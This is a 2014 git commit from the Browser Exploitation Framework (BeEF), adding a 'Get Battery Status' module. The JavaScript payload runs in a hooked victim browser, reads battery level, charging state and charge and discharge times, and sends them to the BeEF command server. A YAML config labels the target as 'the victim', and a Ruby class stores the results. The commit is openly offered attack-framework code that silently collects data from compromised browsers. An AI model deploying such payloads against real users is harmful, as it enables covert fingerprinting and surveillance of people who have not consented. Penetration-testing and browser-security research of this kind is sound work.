Adding module for getting battery status

This commit is contained in:
ecneladis
2014-03-24 12:46:43 +01:00
parent 4e3f0366bf
commit 6044de5604
3 changed files with 52 additions and 0 deletions

View File

@@ -0,0 +1,19 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
if (!battery) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Unable to get battery status");
}
var chargingStatus = battery.charging;
var batteryLevel = battery.level * 100 + "%";
var chargingTime = battery.chargingTime;
var dischargingTime = battery.dischargingTime;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "chargingStatus=" + chargingStatus + "&batteryLevel=" + batteryLevel + "&chargingTime=" + chargingTime + "&dischargingTime=" + dischargingTime);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_battery_status:
enable: true
category: "Host"
name: "Get Battery Status"
description: "Get informations of the victim current battery status"
authors: ["ecneladis"]
target:
working: ["FF"]
not_working: ["All"]

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_battery_status < BeEF::Core::Command
def post_execute
content = {}
content['chargingStatus'] = @datastore['chargingStatus']
content['batteryLevel'] = @datastore['batteryLevel']
content['chargingTime'] = @datastore['chargingTime']
content['dischargingTime'] = @datastore['dischargingTime']
save content
end
end